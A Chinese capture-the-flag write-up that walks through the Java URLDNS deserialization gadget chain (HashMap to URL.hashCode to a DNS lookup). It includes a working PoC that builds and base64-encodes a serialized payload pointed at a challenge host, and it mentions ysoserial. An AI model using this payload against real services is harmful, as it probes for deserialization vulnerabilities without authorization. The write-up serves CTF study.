看到构造DNS查询,想到URLDNS利用链
这条链其实有两条,分别是URL和hashmap,下面详细说明
URL下有hashcode方法,CTRL点击进入
发现进入URLsteamhander,他的hashcode使用了getAddress,我们最终要做的就是调用getaddress,获取DNS解析
进入hashmap的readobject方法
下拉发现调用了hash方法
点击发现调用的是hashcode
点击进入hashcode,发现是公共类
这里使用了重写的概念
重写是子类对父类可以访问方法的重新编写,返回值和形参都不能改变,外壳不变,核心重写,子类对象赋值给父类使用,但是不能访问在子类特有的方法
调用hashmap最后调用的是url的hashcode方法,在最后调用getaddress
下面附上POC
package Serialize;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
URL url=new URL("http://c1161cd4-e370-4b4a-a6b0-2107fcb148ef.challenge.ctf.show");
/*
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
} 初始化时hashcode=-1,h.put时调用了url的hashcode,hashcode不等于-1,需要通过反射修改hashcode
*/
Class<?> c=url.getClass();
Field hashcode=c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
//修改成员变量
hashcode.set(url,1);
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
h.put(url,1);
hashcode.set(url,-1);
serialize(h);
//URL
//HashMap
}
}
上面还使用了反射的概念
这里的初始值是-1,只有为-1才能传数据
可以看到,put的时候调用了hashcode,不是-1了
使用反射修改值改回-1,就可以反序列化了
输入题目的url
得到payload
POST提交数据
excute得到payload
ysoserial工具
import base64
with open('payload.bin', 'rb') as file:
binary_data = file.read()
encoded_data = base64.b64encode(binary_data)
with open('encoded_payload.txt', 'wb') as file:
file.write(encoded_data)
二进制需要base64编码,Linux可以直接编码